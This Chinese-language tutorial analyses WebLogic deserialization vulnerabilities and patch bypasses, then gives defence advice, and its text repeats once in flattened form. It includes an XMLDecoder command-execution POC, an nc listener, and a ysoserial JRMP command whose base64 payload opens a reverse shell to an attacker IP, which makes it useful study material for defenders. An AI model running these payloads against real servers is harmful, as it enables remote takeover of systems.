缝缝补补的WebLogic:绕过的艺术
字数 2120 2025-08-18 11:37:28

WebLogic反序列化漏洞分析与防御指南

1. WebLogic简介

WebLogic是美国Oracle公司出品的一个基于Java EE架构的中间件应用服务器,具有以下特点:

  • 功能全面:支持EJB、JSP、servlet、JMS等Java EE标准
  • 扩展性强:提供出色的群集技术,实现网页和EJB组件群集
  • 市场地位:全球使用量前列,中国地区资产数量达10562台(2018年数据)

2. WebLogic高危漏洞分类

2.1 XML反序列化RCE漏洞

CVE-2017-3506

漏洞原理

  • 漏洞位于wls组件的webservice处理soap请求过程中
  • weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法处理请求
  • localHeader1localHeader2都不为null时,会将<work:WorkContext>数据传入readHeaderOld方法
  • 最终通过XMLDecoder()进行反序列化操作

影响路径

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC 
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

POC构造

<work:WorkContext>
    <java version="1.8.0" class="java.beans.XMLDecoder">
        <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
                <void index="0"><string>/bin/bash</string></void>
                <void index="1"><string>-c</string></void>
                <void index="2"><string>恶意命令</string></void>
            </array>
            <void method="start"/>
        </object>
    </java>
</work:WorkContext>

CVE-2017-10271

绕过原理

  • CVE-2017-3506补丁仅限制了object标签
  • 通过使用arrayvoid等标签绕过限制

补丁改进

  • 增加了newmethodvoidarray等关键字到黑名单

2.2 Java反序列化RCE漏洞

CVE-2015-4852

漏洞原理

  • 利用Apache Commons Collections的TransformedMap
  • TransformedMap的key或value变化时,会触发Transformertransform()方法
  • 通过ChainedTransformer构造调用链,最终利用反射执行Runtime.getRuntime().exec

利用工具

  • ysoserial:生成Java反序列化payload
  • SerializationDumper:分析Java序列化结构

CVE-2016-0638

绕过原理

  • 利用weblogic.jms.common.StreamMessageImpl
  • readExternal()方法可构造恶意ObjectInputStream
  • 绕过ServerChannelInputStreamMsgAbbrevInputStream的限制

CVE-2016-3510

绕过原理

  • 使用weblogic.corba.utils.MarshalledObject
  • 命令执行格式限制:必须使用bash -c {echo,BASE64}|{base64,-d}|{bash,-i}形式

CVE-2017-3248

漏洞原理

  • 利用JRMP(Java远程方法协议)
  • 序列化RemoteObjectInvocationHandler,使用UnicastRef建立TCP连接
  • 获取RMI registry后通过readObject()解析执行恶意代码

CVE-2018-2628

漏洞原理

  • 使用java.rmi.activation.Activator替代java.rmi.registry.Registry
  • 绕过resolveProxyClass的判断

攻击流程示例

  1. 攻击机(192.168.16.1)开启nc监听:nc -nlvp 4040
  2. JRMP监听机(192.168.16.3)执行:
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}'
    
  3. 执行攻击脚本:
    python exploit.py 目标IP 7001 ysoserial.jar JRMP监听IP 1099 JRMPClient2
    

CVE-2018-2893

漏洞原理

  • 结合StreamMessageImpl封装和JRMPClient
  • StreamMessageImpl反序列化时不会被resolveProxyClass检测

3. 防御建议

  1. 及时更新补丁:Oracle发布的补丁虽然可能被绕过,但仍是最基础的防护措施
  2. 网络隔离:限制WebLogic服务不必要的网络访问
  3. 禁用危险功能:如非必要,禁用T3、IIOP等协议
  4. 安全配置
    • 删除或限制访问wls-wsat组件
    • 启用WebLogic的安全管理器
  5. 监控与检测
    • 部署WAF规则检测反序列化攻击
    • 监控异常网络连接和进程创建行为
  6. 代码审计:定期检查自定义代码中的反序列化操作

4. 工具推荐

  1. ysoserial:生成Java反序列化payload用于测试
  2. SerializationDumper:分析Java序列化结构
  3. 在线工具:生成Base64编码的命令payload
    • http://jackson.thuraisamy.me/runtime-exec-payloads.html

5. 总结

WebLogic反序列化漏洞的修复与绕过展示了安全攻防的持续博弈。防御方需要:

  • 深入理解漏洞原理而非简单依赖黑名单
  • 采取纵深防御策略
  • 保持对新型攻击手法的关注和研究

作为安全研究人员,应当:

  1. 深度剖析漏洞原理
  2. 探索可能的其他利用方式
  3. 在漏洞被利用前发现并修复
  4. 推动更安全的编码和配置实践
WebLogic反序列化漏洞分析与防御指南 1. WebLogic简介 WebLogic是美国Oracle公司出品的一个基于Java EE架构的中间件应用服务器,具有以下特点: 功能全面:支持EJB、JSP、servlet、JMS等Java EE标准 扩展性强:提供出色的群集技术,实现网页和EJB组件群集 市场地位:全球使用量前列,中国地区资产数量达10562台(2018年数据) 2. WebLogic高危漏洞分类 2.1 XML反序列化RCE漏洞 CVE-2017-3506 漏洞原理 : 漏洞位于wls组件的webservice处理soap请求过程中 weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest 方法处理请求 当 localHeader1 和 localHeader2 都不为null时,会将 <work:WorkContext> 数据传入 readHeaderOld 方法 最终通过 XMLDecoder() 进行反序列化操作 影响路径 : POC构造 : CVE-2017-10271 绕过原理 : CVE-2017-3506补丁仅限制了 object 标签 通过使用 array 或 void 等标签绕过限制 补丁改进 : 增加了 new 、 method 、 void 、 array 等关键字到黑名单 2.2 Java反序列化RCE漏洞 CVE-2015-4852 漏洞原理 : 利用Apache Commons Collections的 TransformedMap 类 当 TransformedMap 的key或value变化时,会触发 Transformer 的 transform() 方法 通过 ChainedTransformer 构造调用链,最终利用反射执行 Runtime.getRuntime().exec 利用工具 : ysoserial:生成Java反序列化payload SerializationDumper:分析Java序列化结构 CVE-2016-0638 绕过原理 : 利用 weblogic.jms.common.StreamMessageImpl 类 其 readExternal() 方法可构造恶意 ObjectInputStream 绕过 ServerChannelInputStream 和 MsgAbbrevInputStream 的限制 CVE-2016-3510 绕过原理 : 使用 weblogic.corba.utils.MarshalledObject 类 命令执行格式限制:必须使用 bash -c {echo,BASE64}|{base64,-d}|{bash,-i} 形式 CVE-2017-3248 漏洞原理 : 利用JRMP(Java远程方法协议) 序列化 RemoteObjectInvocationHandler ,使用 UnicastRef 建立TCP连接 获取RMI registry后通过 readObject() 解析执行恶意代码 CVE-2018-2628 漏洞原理 : 使用 java.rmi.activation.Activator 替代 java.rmi.registry.Registry 绕过 resolveProxyClass 的判断 攻击流程示例 : 攻击机(192.168.16.1)开启nc监听: nc -nlvp 4040 JRMP监听机(192.168.16.3)执行: 执行攻击脚本: CVE-2018-2893 漏洞原理 : 结合 StreamMessageImpl 封装和JRMPClient StreamMessageImpl 反序列化时不会被 resolveProxyClass 检测 3. 防御建议 及时更新补丁 :Oracle发布的补丁虽然可能被绕过,但仍是最基础的防护措施 网络隔离 :限制WebLogic服务不必要的网络访问 禁用危险功能 :如非必要,禁用T3、IIOP等协议 安全配置 : 删除或限制访问 wls-wsat 组件 启用WebLogic的安全管理器 监控与检测 : 部署WAF规则检测反序列化攻击 监控异常网络连接和进程创建行为 代码审计 :定期检查自定义代码中的反序列化操作 4. 工具推荐 ysoserial :生成Java反序列化payload用于测试 SerializationDumper :分析Java序列化结构 在线工具 :生成Base64编码的命令payload http://jackson.thuraisamy.me/runtime-exec-payloads.html 5. 总结 WebLogic反序列化漏洞的修复与绕过展示了安全攻防的持续博弈。防御方需要: 深入理解漏洞原理而非简单依赖黑名单 采取纵深防御策略 保持对新型攻击手法的关注和研究 作为安全研究人员,应当: 深度剖析漏洞原理 探索可能的其他利用方式 在漏洞被利用前发现并修复 推动更安全的编码和配置实践